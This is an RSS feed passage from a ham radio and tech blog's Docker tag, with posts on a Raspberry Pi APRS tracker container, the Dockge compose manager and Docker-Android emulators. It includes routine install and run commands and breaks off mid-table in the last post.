<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Docker - Hamradio.my</title>
	<atom:link href="https://hamradio.my/tag/docker/feed/" rel="self" type="application/rss+xml" />
	<link></link>
	<description>Amateur Radio, Tech Insights and Product Reviews</description>
	<lastBuildDate>Sun, 13 Jul 2025 04:46:32 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0</generator>

<image>
	<url>https://hamradio.my/wp-content/uploads/2026/02/cropped-cropped-image-removebg-preview-3-32x32.png</url>
	<title>Docker - Hamradio.my</title>
	<link></link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Building an APRS Tracker with Raspberry Pi</title>
		<link>https://hamradio.my/2025/08/building-an-aprs-tracker-with-raspberry-pi/</link>
					<comments>https://hamradio.my/2025/08/building-an-aprs-tracker-with-raspberry-pi/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Fri, 15 Aug 2025 11:52:11 +0000</pubDate>
				<category><![CDATA[amateur radio]]></category>
		<category><![CDATA[do it yourself]]></category>
		<category><![CDATA[docker]]></category>
		<category><![CDATA[ham radio]]></category>
		<category><![CDATA[home brew]]></category>
		<category><![CDATA[raspberry pi]]></category>
		<category><![CDATA[tracker]]></category>
		<category><![CDATA[amatur radio]]></category>
		<category><![CDATA[APRS]]></category>
		<category><![CDATA[Direwolf]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[gps usb]]></category>
		<category><![CDATA[komunikasi dua hala]]></category>
		<category><![CDATA[komunikasi kecemasan]]></category>
		<category><![CDATA[komunikasi radio]]></category>
		<category><![CDATA[kontena docker]]></category>
		<category><![CDATA[linux ringan]]></category>
		<category><![CDATA[open source]]></category>
		<category><![CDATA[packet radio]]></category>
		<category><![CDATA[pemancar mudah alih]]></category>
		<category><![CDATA[pemancar radio]]></category>
		<category><![CDATA[pemantauan lokasi]]></category>
		<category><![CDATA[pengaturcaraan pi]]></category>
		<category><![CDATA[pi aprs]]></category>
		<category><![CDATA[pi dan radio]]></category>
		<category><![CDATA[pi tracker]]></category>
		<category><![CDATA[pi zero]]></category>
		<category><![CDATA[projek elektronik]]></category>
		<category><![CDATA[projek radio]]></category>
		<category><![CDATA[radio amatur malaysia]]></category>
		<category><![CDATA[sdr enthusiasts]]></category>
		<category><![CDATA[sistem gps]]></category>
		<category><![CDATA[sistem pelacakan]]></category>
		<category><![CDATA[sistem pelaporan automatik]]></category>
		<category><![CDATA[tracker aprs]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=7882</guid>

					<description><![CDATA[<p>Amateur radio enthusiasts have long been using APRS (Automatic Packet Reporting System) to track mobile stations, send messages, and share telemetry over RF and the internet. Traditionally, building an APRS tracker has required a fair bit of wiring, configuration, and standalone software installation. However, thanks to the work of the open source community—particularly the sdr-enthusiasts/docker-aprs-tracker [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/08/building-an-aprs-tracker-with-raspberry-pi/">Building an APRS Tracker with Raspberry Pi</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1 class="wp-block-heading"></h1>



<p class="wp-block-paragraph">Amateur radio enthusiasts have long been using APRS (Automatic Packet Reporting System) to track mobile stations, send messages, and share telemetry over RF and the internet. Traditionally, building an APRS tracker has required a fair bit of wiring, configuration, and standalone software installation. However, thanks to the work of the open source community—particularly the <em>sdr-enthusiasts/docker-aprs-tracker</em> project—it’s now possible to deploy a self-contained APRS tracker inside a Docker container.</p>



<p class="wp-block-paragraph">This raises an interesting question: could we build a compact, mobile APRS tracker using a Raspberry Pi and this containerized setup? While I haven’t personally tested this combination yet, I believe the idea holds real promise and is worth exploring.</p>



<h2 class="wp-block-heading">The Project: docker-aprs-tracker</h2>



<p class="wp-block-paragraph">The <code>docker-aprs-tracker</code> project packages Direwolf (a software TNC), GPSD (for GPS data input), and Chrony (for system time synchronization) into a Docker container. It’s designed to be run on a minimal Linux environment and supports ARM architectures, including Raspberry Pi models (such as the 3B+, 4B, and even some alternatives like LePotato). This makes it an ideal candidate for Raspberry Pi deployments.</p>



<h2 class="wp-block-heading">Why Raspberry Pi?</h2>



<p class="wp-block-paragraph">The Raspberry Pi is a perfect fit for this kind of project due to its low power consumption, small size, and ARM64 compatibility. When paired with a USB GPS module, a USB sound card, and a Baofeng radio (or any HT that supports audio input/output), it has the potential to become a fully functional APRS tracker with digipeater capability.</p>



<p class="wp-block-paragraph">Here’s the rough concept:</p>



<ul class="wp-block-list">
<li><strong>Raspberry Pi (DietPi or Raspberry Pi OS Lite)</strong>: Lightweight Linux OS, running headless.</li>



<li><strong>USB GPS module</strong>: Feeds GPS coordinates to the container via GPSD.</li>



<li><strong>USB sound card</strong>: Acts as the audio interface to the radio.</li>



<li><strong>Baofeng UV-5R</strong>: Transmits and receives APRS signals.</li>



<li><strong>Direwolf inside Docker</strong>: Handles AX.25 packet encoding/decoding and beaconing.</li>
</ul>



<h2 class="wp-block-heading">Key Advantages</h2>



<ul class="wp-block-list">
<li><strong>Portability</strong>: Everything runs on a Pi, powered by USB or battery.</li>



<li><strong>Simplicity</strong>: Containerized deployment reduces the mess of dependencies.</li>



<li><strong>Modularity</strong>: You can easily swap out hardware components.</li>



<li><strong>Maintainability</strong>: Configuration is stored in a version-controlled <code>docker-compose.yml</code>.</li>
</ul>



<h2 class="wp-block-heading">Points to Consider</h2>



<p class="wp-block-paragraph">This project is still under active development, and the container is described as “low maturity,” meaning bugs and frequent changes should be expected. For experimental or personal use, this isn’t a deal-breaker. In fact, it can be a great learning opportunity.</p>



<p class="wp-block-paragraph">Also, tuning the audio interface can be tricky—especially if you&#8217;re using a VOX-based cable like the BTech APRS-K1. The creator of the project recommends a CM108-based USB sound card with built-in PTT support for more reliable transmission. There’s even mention of pre-built options from na6d.com that combine everything in a compact form.</p>



<h2 class="wp-block-heading">Final Thoughts</h2>



<p class="wp-block-paragraph">While I haven’t built this setup yet, the combination of Docker, Direwolf, and Raspberry Pi opens the door for a lightweight, portable APRS tracker that could be deployed in a vehicle, on a hiking trip, or even at a public service event. It’s an idea I believe many radio amateurs will find interesting—especially those already comfortable working with Raspberry Pi and containerized applications.</p>



<p class="wp-block-paragraph">If you&#8217;re looking for your next ham radio project, this might just be it. And if you do build it, I’d love to hear how it works out for you. Visit and learn more at <strong><a href="https://github.com/sdr-enthusiasts/docker-aprs-tracker">https://github.com/sdr-enthusiasts/docker-aprs-tracker</a></strong></p>
<p>The post <a href="https://hamradio.my/2025/08/building-an-aprs-tracker-with-raspberry-pi/">Building an APRS Tracker with Raspberry Pi</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/08/building-an-aprs-tracker-with-raspberry-pi/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Dockge: A Sleek, Self-Hosted Docker Stack Manager for Compose Lovers</title>
		<link>https://hamradio.my/2025/08/dockge-a-sleek-self-hosted-docker-stack-manager-for-compose-lovers/</link>
					<comments>https://hamradio.my/2025/08/dockge-a-sleek-self-hosted-docker-stack-manager-for-compose-lovers/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Sat, 09 Aug 2025 14:51:28 +0000</pubDate>
				<category><![CDATA[container]]></category>
		<category><![CDATA[docker]]></category>
		<category><![CDATA[free open source software]]></category>
		<category><![CDATA[management]]></category>
		<category><![CDATA[composeyaml]]></category>
		<category><![CDATA[containerapps]]></category>
		<category><![CDATA[Containerization]]></category>
		<category><![CDATA[devops]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[dockerapps]]></category>
		<category><![CDATA[dockerautomation]]></category>
		<category><![CDATA[dockercompose]]></category>
		<category><![CDATA[dockercomposegui]]></category>
		<category><![CDATA[dockercomposemanager]]></category>
		<category><![CDATA[dockercontainers]]></category>
		<category><![CDATA[dockermanager]]></category>
		<category><![CDATA[dockerorchestration]]></category>
		<category><![CDATA[dockerstack]]></category>
		<category><![CDATA[dockertips]]></category>
		<category><![CDATA[dockerui]]></category>
		<category><![CDATA[dockge]]></category>
		<category><![CDATA[homelab]]></category>
		<category><![CDATA[homelabtools]]></category>
		<category><![CDATA[infrastructureascode]]></category>
		<category><![CDATA[lightweightdocker]]></category>
		<category><![CDATA[linuxserver]]></category>
		<category><![CDATA[opensource]]></category>
		<category><![CDATA[portaineralternative]]></category>
		<category><![CDATA[selfhosted]]></category>
		<category><![CDATA[selfhosting]]></category>
		<category><![CDATA[serverdashboard]]></category>
		<category><![CDATA[servermanagement]]></category>
		<category><![CDATA[SysAdmin]]></category>
		<category><![CDATA[TechBlog]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=7850</guid>

					<description><![CDATA[<p>If you’ve ever felt overwhelmed managing multiple Docker stacks or wanted a more intuitive interface than raw CLI commands—Dockge might be your new favorite tool. Dockge is a modern, elegant, and fully self-hosted manager built specifically for docker-compose users. It&#8217;s designed for those who want power and simplicity in a single place, without losing control [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/08/dockge-a-sleek-self-hosted-docker-stack-manager-for-compose-lovers/">Dockge: A Sleek, Self-Hosted Docker Stack Manager for Compose Lovers</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading"></h2>



<p class="wp-block-paragraph">If you’ve ever felt overwhelmed managing multiple Docker stacks or wanted a more intuitive interface than raw CLI commands—Dockge might be your new favorite tool.</p>



<p class="wp-block-paragraph"><strong>Dockge</strong> is a modern, elegant, and fully self-hosted manager built specifically for <code>docker-compose</code> users. It&#8217;s designed for those who want power and simplicity in a single place, without losing control over their YAML files or containers.</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2728.png" alt="✨" class="wp-smiley" style="height: 1em; max-height: 1em;" /> What Makes Dockge Special?</h3>



<p class="wp-block-paragraph">Unlike some heavier solutions, Dockge sticks to doing one thing—and does it really well: managing your <code>compose.yaml</code> stacks. Whether you&#8217;re starting, stopping, editing, or updating services, Dockge keeps it real-time and responsive.</p>



<p class="wp-block-paragraph">Here’s what you get out of the box:</p>



<ul class="wp-block-list">
<li><strong>Create, edit, start, stop, and delete your Docker stacks</strong> from a single UI.</li>



<li><strong>Update Docker images</strong> with just a few clicks.</li>



<li><strong>Interactive YAML editor</strong> for hands-on control.</li>



<li><strong>Built-in Web Terminal</strong> for direct command-line access.</li>



<li><strong>Multiple Agent Support</strong> to manage stacks across different hosts (since v1.4.0).</li>



<li><strong>Convert <code>docker run</code> commands into Compose YAML</strong> in seconds.</li>



<li><strong>File-based management</strong> — Dockge never hijacks your files; they&#8217;re still on disk and usable via CLI.</li>
</ul>



<p class="wp-block-paragraph">It’s reactive, lightweight, and honestly—kind of fun to use. Think <em>Uptime Kuma</em>, but for Docker Compose.</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e0.png" alt="🛠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Easy Installation with Docker</h3>



<p class="wp-block-paragraph">Getting started with Dockge is straightforward:</p>



<pre class="wp-block-code"><code># Create folders for stacks and Dockge's own files
mkdir -p /opt/stacks /opt/dockge
cd /opt/dockge

# Download the default compose.yaml
curl https://raw.githubusercontent.com/louislam/dockge/master/compose.yaml --output compose.yaml

# Start it up
docker compose up -d
</code></pre>



<p class="wp-block-paragraph">Access it via your browser at <a href="http://localhost:5001/">http://localhost:5001</a>, and you’re good to go!</p>



<p class="wp-block-paragraph">You can also generate a custom <code>compose.yaml</code> file with your preferred port and stack directory via the interactive generator here: <a href="https://dockge.kuma.pet/">dockge.kuma.pet</a></p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f91d.png" alt="🤝" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Why Dockge Exists</h3>



<p class="wp-block-paragraph">The developer behind Dockge originally used Portainer but wanted something snappier and more focused on stacks. Dockge doesn’t try to replace Portainer entirely—it just makes managing Docker Compose setups smoother and less frustrating.</p>



<p class="wp-block-paragraph">If all your infrastructure is <code>compose.yaml</code>-driven, Dockge is likely the best fit. But if you need to juggle volumes, networks, or standalone containers, keeping Portainer around might still be helpful.</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e9.png" alt="🧩" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Use Cases and Compatibility</h3>



<p class="wp-block-paragraph">Dockge is a great fit if:</p>



<ul class="wp-block-list">
<li>You&#8217;re self-hosting multiple services with Docker Compose.</li>



<li>You like visual feedback and responsive interfaces.</li>



<li>You want fine control without bloated features.</li>
</ul>



<p class="wp-block-paragraph">Supported OS and platforms include:</p>



<ul class="wp-block-list">
<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Ubuntu / Debian Bullseye+ / Raspbian Bullseye+</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> CentOS, Fedora, Arch</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Not yet supported on Windows</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Architectures: <code>armv7</code>, <code>arm64</code>, <code>amd64</code></li>
</ul>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f504.png" alt="🔄" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Updating Dockge</h3>



<p class="wp-block-paragraph">Updating is easy too:</p>



<pre class="wp-block-code"><code>cd /opt/dockge
docker compose pull &amp;&amp; docker compose up -d
</code></pre>



<p class="wp-block-paragraph">Just like that, you&#8217;re on the latest version.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">Whether you&#8217;re a seasoned homelabber or just getting started with Docker, <strong>Dockge brings clarity and simplicity to Compose stack management</strong>. The UI is gorgeous, performance is fast, and setup is a breeze. You’ll wonder why you didn’t use it sooner.</p>



<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f449.png" alt="👉" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Explore the GitHub repo: <a href="https://github.com/louislam/dockge">github.com/louislam/dockge</a><br><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3a5.png" alt="🎥" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Watch the overview video: <a href="https://youtu.be/AWAlOQeNpgU?t=48">Dockge Demo</a></p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4ac.png" alt="💬" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Bonus: Frequently Asked Questions</h2>



<ul class="wp-block-list">
<li><strong>Can I use Dockge with Portainer?</strong> Yes, they can run side-by-side.</li>



<li><strong>Can I manage existing stacks?</strong> Absolutely—just move your YAML files into <code>/opt/stacks/&lt;stack-name>/compose.yaml</code> and click <em>Scan Stacks Folder</em>.</li>



<li><strong>Does it support single container management?</strong> Not directly—Dockge is purpose-built for Compose.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2b50.png" alt="⭐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Final Thoughts</h2>



<p class="wp-block-paragraph">Dockge is a powerful tool that does one thing extremely well: give you full visual control of your Docker Compose stacks. It doesn’t try to be everything—and that’s what makes it great.</p>
<p>The post <a href="https://hamradio.my/2025/08/dockge-a-sleek-self-hosted-docker-stack-manager-for-compose-lovers/">Dockge: A Sleek, Self-Hosted Docker Stack Manager for Compose Lovers</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/08/dockge-a-sleek-self-hosted-docker-stack-manager-for-compose-lovers/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Run Android Emulators in Docker with Ease Using Docker-Android</title>
		<link>https://hamradio.my/2025/07/run-android-emulators-in-docker-with-ease-using-docker-android/</link>
					<comments>https://hamradio.my/2025/07/run-android-emulators-in-docker-with-ease-using-docker-android/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Tue, 29 Jul 2025 16:50:59 +0000</pubDate>
				<category><![CDATA[android]]></category>
		<category><![CDATA[container]]></category>
		<category><![CDATA[docker]]></category>
		<category><![CDATA[github]]></category>
		<category><![CDATA[adb]]></category>
		<category><![CDATA[androidautomation]]></category>
		<category><![CDATA[androiddev]]></category>
		<category><![CDATA[androiddevelopment]]></category>
		<category><![CDATA[androidemulator]]></category>
		<category><![CDATA[androidqa]]></category>
		<category><![CDATA[androidtesting]]></category>
		<category><![CDATA[appium]]></category>
		<category><![CDATA[automation]]></category>
		<category><![CDATA[ci]]></category>
		<category><![CDATA[devops]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[dockerandroid]]></category>
		<category><![CDATA[emulator]]></category>
		<category><![CDATA[galaxys10]]></category>
		<category><![CDATA[genymotion]]></category>
		<category><![CDATA[headlessmode]]></category>
		<category><![CDATA[jenkins]]></category>
		<category><![CDATA[kvm]]></category>
		<category><![CDATA[mobiletesting]]></category>
		<category><![CDATA[nexus5]]></category>
		<category><![CDATA[pixelc]]></category>
		<category><![CDATA[selenium]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[virtualization]]></category>
		<category><![CDATA[wsl2]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=7801</guid>

					<description><![CDATA[<p>Need a flexible and scalable Android emulator for development, testing, or CI pipelines? Docker-Android offers a containerized solution that runs Android emulators with various device profiles, VNC support, and ADB access — all inside Docker. Why Use Docker-Android? Docker-Android simplifies emulator setup, especially in CI environments or when testing multiple device configurations. Key benefits include: [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/07/run-android-emulators-in-docker-with-ease-using-docker-android/">Run Android Emulators in Docker with Ease Using Docker-Android</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading"></h2>



<p class="wp-block-paragraph">Need a flexible and scalable Android emulator for development, testing, or CI pipelines? <strong>Docker-Android</strong> offers a containerized solution that runs Android emulators with various device profiles, VNC support, and ADB access — all inside Docker.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Why Use Docker-Android?</h3>



<p class="wp-block-paragraph">Docker-Android simplifies emulator setup, especially in CI environments or when testing multiple device configurations. Key benefits include:</p>



<ul class="wp-block-list">
<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3ae.png" alt="🎮" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Emulator Skins &amp; Profiles</strong> – Samsung Galaxy S10, Nexus 5, Pixel C, and more.</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f5a5.png" alt="🖥" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>VNC Access</strong> – View and control the emulator via your browser.</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4dc.png" alt="📜" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Log Sharing</strong> – Access logs via a built-in web UI.</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e1.png" alt="📡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>ADB Support</strong> – Connect to the emulator via <code>adb connect</code>.</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50c.png" alt="🔌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Framework Integration</strong> – Works with Appium, Espresso, and other test frameworks.</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2601.png" alt="☁" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Cloud Ready</strong> – Integrates with Genymotion Cloud, AWS, GCP, etc.</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ea.png" alt="🧪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>UI Testing</strong> – Run unit and UI tests in isolated containers.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Available Docker Images</h3>



<p class="wp-block-paragraph">You can pull images by Android version or specific release version. Examples:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Android Version</th><th>API</th><th>Latest Image</th><th>Specific Release</th></tr></thead><tbody><tr><td>Android 9.0</td><td>28</td><td><code>budtmo/docker-android:emulator_9.0</code></td><td><code>budtmo/docker-android:emulator_9.0_&lt;version&gt;</code></td></tr><tr><td>Android 10.0</td><td>29</td><td><code>budtmo/docker-android:emulator_10.0</code></td><td><code>...</code></td></tr><tr><td>Android 11.0</td><td>30</td><td><code>budtmo/docker-android:emulator_11.0</code></td><td><code>...</code></td></tr><tr><td>Android 12.0</td><td>32</td><td><code>...</code></td><td><code>...</code></td></tr><tr><td>Android 13.0</td><td>33</td><td><code>...</code></td><td><code>...</code></td></tr><tr><td>Android 14.0</td><td>34</td><td><code>...</code></td><td><code>...</code></td></tr><tr><td>Genymotion</td><td>&#8211;</td><td><code>budtmo/docker-android:genymotion</code></td><td><code>...</code></td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Supported Devices</h3>



<p class="wp-block-paragraph">Docker-Android includes emulator profiles for a wide range of phones and tablets:</p>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4f1.png" alt="📱" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Phones</h4>



<ul class="wp-block-list">
<li>Samsung Galaxy S10 / S9 / S8 / S7 / S6</li>



<li>Nexus One / S / 4 / 5</li>
</ul>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4bb.png" alt="💻" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Tablets</h4>



<ul class="wp-block-list">
<li>Nexus 7</li>



<li>Pixel C</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Requirements</h3>



<ul class="wp-block-list">
<li>Docker installed on your system</li>



<li>Ubuntu host OS (natively or via VM for macOS/Windows users)</li>



<li>Virtualization support (KVM)</li>
</ul>



<p class="wp-block-paragraph">To check if virtualization is enabled:</p>



<pre class="wp-block-code"><code>sudo apt install cpu-checker
kvm-ok
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Quick Start</h3>



<p class="wp-block-paragraph">Run a Docker-Android container with Samsung Galaxy S10 and Android 11:</p>



<pre class="wp-block-code"><code>docker run -d -p 6080:6080 \
  -e EMULATOR_DEVICE="Samsung Galaxy S10" \
  -e WEB_VNC=true \
  --device /dev/kvm \
  --name android-container \
  budtmo/docker-android:emulator_11.0
</code></pre>



<p class="wp-block-paragraph">Now, open your browser and go to:</p>



<pre class="wp-block-code"><code>http:&#47;&#47;localhost:6080
</code></pre>



<p class="wp-block-paragraph">To check emulator status:</p>



<pre class="wp-block-code"><code>docker exec -it android-container cat device_status
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Persisting Emulator Data</h3>



<p class="wp-block-paragraph">By default, emulator data is not saved. To persist data across container restarts:</p>



<pre class="wp-block-code"><code>docker run -v data:/home/androidusr \
  budtmo/docker-android:emulator_11.0
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Use-Cases</h3>



<p class="wp-block-paragraph">Docker-Android is ideal for:</p>



<ul class="wp-block-list">
<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3d7.png" alt="🏗" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Building Android projects</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ea.png" alt="🧪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Automated UI testing (Appium, Espresso)</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4f1.png" alt="📱" class="wp-smiley" style="height: 1em; max-height: 1em;" /> ADB control and automation</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e4.png" alt="📤" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Cloud deployment (Azure, AWS, GCP)</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e1.png" alt="📡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Jenkins &amp; CI pipelines</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4ac.png" alt="💬" class="wp-smiley" style="height: 1em; max-height: 1em;" /> SMS simulation</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Advanced Integrations</h3>



<h4 class="wp-block-heading">Genymotion SAAS</h4>



<p class="wp-block-paragraph">If you need more powerful cloud infrastructure or want to run multiple emulator types, Docker-Android supports integration with <strong>Genymotion SAAS</strong> and popular cloud platforms like:</p>



<ul class="wp-block-list">
<li>AWS</li>



<li>GCP</li>



<li>Alibaba Cloud</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">About Docker-Android Pro</h3>



<p class="wp-block-paragraph">For more advanced use-cases, there’s a <strong>Docker-Android Pro</strong> version available for sponsors. It unlocks:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Feature</th><th>Free</th><th>Pro</th></tr></thead><tbody><tr><td>Analytics-free</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td></tr><tr><td>Proxy Support</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td></tr><tr><td>Language Setting</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td></tr><tr><td>Newer Android Versions</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td></tr><tr><td>Root Privileges</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td></tr><tr><td>Headless Mode</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td></tr><tr><td>Selenium 4 Integration</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td></tr><tr><td>Multiple Simulators</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> (coming soon)</td></tr><tr><td>Google Play 